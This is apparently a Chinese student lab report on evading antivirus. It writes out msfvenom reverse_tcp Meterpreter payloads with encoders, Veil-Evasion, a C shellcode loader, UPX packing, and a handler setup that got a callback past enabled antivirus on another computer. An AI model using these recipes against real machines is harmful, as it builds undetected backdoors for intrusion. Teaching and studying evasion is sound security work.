一、实验要求和基础知识
1.1 实验内容
1.1.1 实践各种免杀技术
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
1.1.2 通过组合应用各种技术实现恶意代码免杀
1.1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.基础知识
1.2.1基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
1.2.2启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:
- 可以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
1.2.3基于行为的恶意软件检测
- 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
1.2.4免杀技术(Evading AV)综述
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。
总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
二、实验步骤
2.1、实践各种免杀方法
2.1.1 正确使用msf编码器,生成exe文件
将上次实验二中的后门程序meter_backdoor.exe送入VirusTotal或Virscan这两个网站中的任意一个进行扫描。网址分别为https://www.virustotal.com/gui/home/upload和https://www.virscan.org/。
可以看到57%的杀软可以检测到,比例还是很高的
接下来我们使用msf编码器对后门程序进行编码后再检测。
在终端输入 msfconsole 进入mfs控制台,输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.152.120 LPORT=4316 -f exe > meter_backdoor.exe ,生成后在VirusTotal进行检测结果如下:
可以看到减少为55%的杀软可以检测到。
尝试进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.152.120 LPORT=4316 -f exe > meter_backdoor.exe
可以看到还是有53%的杀软可以检测到,效果甚微。
2.1.2 msfvenom生成其他文件
jar文件
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.152.120LPORT=4316 x> meter_backdoor_java.jar 检测结果如下所示:
相比于之前的文件检测出的杀软还是减少的
php文件
使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.152.120LPORT=4316 x> meter_backdoor.php 检测结果如下所示:
与jar效果接近。
2.1.3 使用veil-evasion生成后门程序及检测
Veil-Evasion是一个与Metasploit有点类似的软件,可以在kali进行在线安装:sudo apt-get install veil-evasion
-
使用命令
cd /usr/share/veil/config/
进入该文件夹 -
使用命令
vim setup.sh
编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
使用sudo
运行veil
,输入use evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面:
设置反弹连接IP,命令为:set LHOST 192.168.0.120
,注意此处的IP是虚拟机Kali的IP;
设置端口,命令为:set LPORT 4316
输入 generate
生成文件,接着输入 payload 的名字4316
,如图所示,文件保存路径为:/var/lib/veil/output/compliled/4316.exe
扫描结果如下
可以看到veil做出来的后门程序虽然还是相当多的杀毒软件报毒,但是还是比msf做的后门exe程序免杀性高。
2.1.4 使用C + shellcode编程
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.120 LPORT=4316 -f c
得到一个生成的shellcode数组:
创建4316hjq.c文件,并在vim编辑器中输入如下代码:
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用i686-w64-mingw32-g++ 4316hjq.c -o 4316hjq.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序4316hjq.exe
仍然有不少杀软可检测得出来。
2.1.5 加壳
upx是一种压缩程序,可以实现加壳的功能,可以输入如下命令来完成:
upx #需要加壳的文件名 -o #加壳后的文件名
这里我们将上面用c编程的shellcode生成的后门程序进行加壳,观察免杀性能否提高:
检测效果如下
免杀效果较好。
2.1.6 其他方法
采用Veil-Evasion的其他荷载生成后门方式
进入evasion,使用list查看可用的有效荷载
根据 payload 编号,这里选择 29号的 python payload进行实验
接下来输入指令生成payload,选择一种生成 shellcode 的模板文件,选择
这个界面要求我们,对生成的 payload 进行可执行性的编译,选择了第2个编译器。
检测效果如下
效果较好。
2.2通过组合应用各种技术实现恶意代码免杀
因为采用Veil-Evasion的其他荷载生成后门方式可以通过查杀,所以我们采用这种方法进行免杀
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这里我选用了家里的另一台电脑,
打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置
set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的
payload set LHOST 192.168.0.120 //Linux端的IP地址
set LPORT 4316//与之前输入的端口号一致
exploit //开始监听
观察到成功回连,杀软没有查杀,通过检测。
版本是12.15.19676.234
三、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术,说通俗一点就是给病毒木马文件做整容手术让杀毒软件来混淆杀毒软件的查实从而达到免杀的目的。针对杀毒软件查杀原理,将恶意代码进行修改和包装,使得恶意代码不被杀毒软件所检测和查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
(4)开启杀软能绝对防止电脑中恶意代码吗?
从本次实验中就可以看出不可以,我仅仅是一个初学者,通过简单的学习,就可以骗过现在市面上主流的杀毒软件,所以我们要提高自己的警惕性,保护好个人的信息安全。
四、实验总结
本次实验是比较接近现实的一次实验,在之前的实验二中我们仍需要关闭防火墙和杀毒软件才可以正常进行实验。而在现实情况中很少人无缘无故地关闭这些保护措施,同样的,大部分病毒和后门程序也使用了很多免杀措施以防止被杀软找出并杀死。本次实验给了我不小的震撼,因为我们仅仅通过几个步骤,就可以骗过当前很多主流杀毒软件,不难想象在技术和经验更为丰富的专业黑客手里,隐蔽性和危害性无疑要更大。虽然是老生常谈,但我们确实需要提高警惕性,对网络上一些来历不明的软件应该慎之又慎。
本次实验中很多同学(也包括我)遇到的最大的问题就是veil的安装。由于我做实验的时间相对较晚些,所以很多常见问题同学们都已经得出解决办法,使得我做实验的过程还算比较顺利。在与同学们的交流中让我也对有关知识更加了解,使我受益匪浅。